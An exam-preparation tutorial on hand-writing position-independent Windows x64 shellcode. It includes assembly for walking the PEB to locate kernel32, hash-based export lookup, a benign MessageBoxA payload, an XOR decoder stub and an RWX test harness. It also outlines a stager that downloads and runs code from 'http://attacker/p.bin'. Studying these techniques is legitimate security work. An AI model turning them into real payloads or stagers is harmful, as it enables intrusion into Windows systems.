Custom Windows shellcode writing

Custom Windows shellcode writing

TL;DR: Hand-writing Windows shellcode means producing position-independent x86/x64 machine code that locates kernel32.dll without imports, walks the PEB to find LoadLibraryA / GetProcAddress, and calls them to do real work. The OSEE-canonical exercise. Once you can write a 200-byte reverse-shell stager by hand, you understand the constraints msfvenom hides — and you can survive bad-character sets that msfvenom can’t encode through. Companion to stack-bof-walkthrough-end-to-end and c-and-asm-primer.

Constraints of shellcode

  • Position-independent — runs at whatever address it lands.
  • No imports — no DLL imports, no static addresses.
  • Self-contained — strings inline; no .data section.
  • Bad-char-free — typically no \x00; sometimes also \x0a, \x0d, \x20, etc.
  • Size-bounded — exploit primitive often constrains payload size.

The PEB walk — locating kernel32

Windows process structure: TEB → PEB → LDR → InMemoryOrderModuleList. Walking the LDR list gives loaded DLLs in order; kernel32.dll is third (ntdll, current EXE, kernel32) — but order depends on Windows version, so search by name hash.

x64 skeleton:

; PEB at gs:[0x60]
mov rax, gs:[0x60]                    ; rax = PEB
mov rax, [rax + 0x18]                 ; PEB->Ldr
mov rax, [rax + 0x20]                 ; Ldr->InMemoryOrderModuleList.Flink
.next_module:
mov rcx, [rax + 0x50]                 ; LDR_DATA_TABLE_ENTRY->BaseDllName.Buffer (offset for x64)
; hash the name; compare to known hash of "kernel32.dll" (case-insensitive UTF-16)
; if match: mov rbx, [rax + 0x20] ; DllBase
mov rax, [rax]                         ; Flink → next
jmp .next_module

Offsets within LDR_DATA_TABLE_ENTRY for x64:

  • BaseDllName.Length = +0x58
  • BaseDllName.Buffer = +0x60 (or +0x50 depending on Win build)
  • DllBase = +0x30
  • Confirm with kd> dt nt!_LDR_DATA_TABLE_ENTRY.

Hash-based name lookup

Hardcoding 14-byte “kernel32.dll” wastes space and may trigger bad-chars. Instead, hash each DLL name; compare to precomputed hash.

; Simple ROR-13 hash
xor edx, edx
.hash_loop:
ror edx, 13
add edx, [string_byte]
inc string_byte
test more
jnz .hash_loop
; edx == hash

Hash of “kernel32.dll” (UTF-16, lowercased) = a known 4-byte value. Generate at build time.

Exported function lookup

Within kernel32 PE, the Export Directory contains:

  • AddressOfFunctions[] — RVAs to code.
  • AddressOfNames[] — RVAs to ASCII names.
  • AddressOfNameOrdinals[] — index into AddressOfFunctions for each name.

Algorithm:

mov eax, [rbx + 0x3C]                  ; rbx = kernel32 base; PE header offset
add rax, rbx                            ; rax = PE header
mov eax, [rax + 0x88]                   ; ExportDirectory RVA
add rax, rbx                            ; rax = ExportDirectory
mov ecx, [rax + 0x18]                   ; NumberOfNames
mov rdx, [rax + 0x20]                   ; AddressOfNames RVA
add rdx, rbx
; loop ecx times; for each name (RVA at [rdx + i*4]), hash it; compare to target
; on match: i is the index
; AddressOfNameOrdinals[i] = ordinal
; AddressOfFunctions[ordinal] = RVA of function

You’d typically resolve LoadLibraryA and GetProcAddress from kernel32, then everything else from those.

A worked example — MessageBoxA payload

The “calc-popping” shellcode for testing:

; Resolve kernel32 base via PEB walk → save in rbx
; Resolve LoadLibraryA → save in rdi
; Load user32.dll
sub rsp, 0x28
lea rcx, [rip + user32_str]
call rdi                                ; LoadLibraryA("user32.dll")
mov rbx, rax                            ; user32 base

; Resolve MessageBoxA via export walk on user32 → save in rsi
mov rcx, 0                              ; hWnd
lea rdx, [rip + text_str]
lea r8,  [rip + title_str]
mov r9d, 0                              ; MB_OK
call rsi                                ; MessageBoxA
ret

user32_str: db "user32.dll", 0
text_str:    db "pwned", 0
title_str:   db "hi", 0

Compile with nasm -f bin, extract bytes, embed in your exploit.

Calling-convention reminders (Win64)

  • Args in RCX, RDX, R8, R9; further on stack.
  • Stack must be 16-byte aligned at call site.
  • Reserve 32 bytes “shadow space” before call (caller-allocated).
  • Volatile: RAX, RCX, RDX, R8-R11.
  • Non-volatile: RBX, RBP, RDI, RSI, R12-R15.

Bad-character handling

For each forbidden byte, refactor:

  • \x00 (null): substitute with xor eax, eax for zero; use xor r9d, r9d instead of mov r9, 0.
  • \xCC (int3): avoid debug breakpoints; modify constants.
  • \x0a, \x0d: avoid string terminators that line-based input handlers treat as end.
  • Encode payload (XOR-encoded with a small decoder stub) if too many bad chars.

Encoders

Wrap shellcode in a tiny decoder:

; XOR decoder, 32-byte payload encoded with key 0xAA
lea rsi, [rip + encoded]
mov rcx, payload_size
.decode_loop:
xor byte [rsi], 0xAA
inc rsi
loop .decode_loop
jmp encoded
encoded: db ... (XOR'd shellcode bytes) ...

Now most bytes are XOR’d; bad chars in the encoded payload can be controlled by choosing a different XOR key.

Stager vs full payload

A small stager (200-500 bytes) downloads and runs a larger payload — useful when the exploit constraint is tight.

Stager outline:

  1. PEB walk → kernel32 → LoadLibraryA / GetProcAddress → wininet.dll → InternetOpen/InternetConnect/HttpOpenRequest/HttpSendRequest/InternetReadFile.
  2. Download N bytes from http://attacker/p.bin.
  3. VirtualAlloc + copy → CreateThread to the buffer.

Testing

Test your shellcode in a small wrapper:

1
2
3
4
5

unsigned char shellcode[] = "\x..."; // your bytes
void (*f)() = (void(*)())VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT,
                                        PAGE_EXECUTE_READWRITE);
memcpy((void*)f, shellcode, sizeof(shellcode));
f();

Run; calc / message box / reverse shell — confirms the shellcode works.

Test on the target Windows build — PEB offsets change.

Tools

  • nasm — assembler.
  • msfvenom — for comparison and “good baseline”.
  • scdbg — emulates shellcode without running it, useful for static analysis.
  • PEview — inspect PE structures while learning.
  • shellnoob — encoder helpers.

Why this matters for OSEE

OSEE expects you to:

  • Bypass EMET / CFG / CET in ways that constrain shellcode shape.
  • Survive bad-character sets msfvenom can’t encode through.
  • Land tiny payloads in browser exploitation contexts.

Custom shellcode is the toolbox that makes those bypasses practical.

References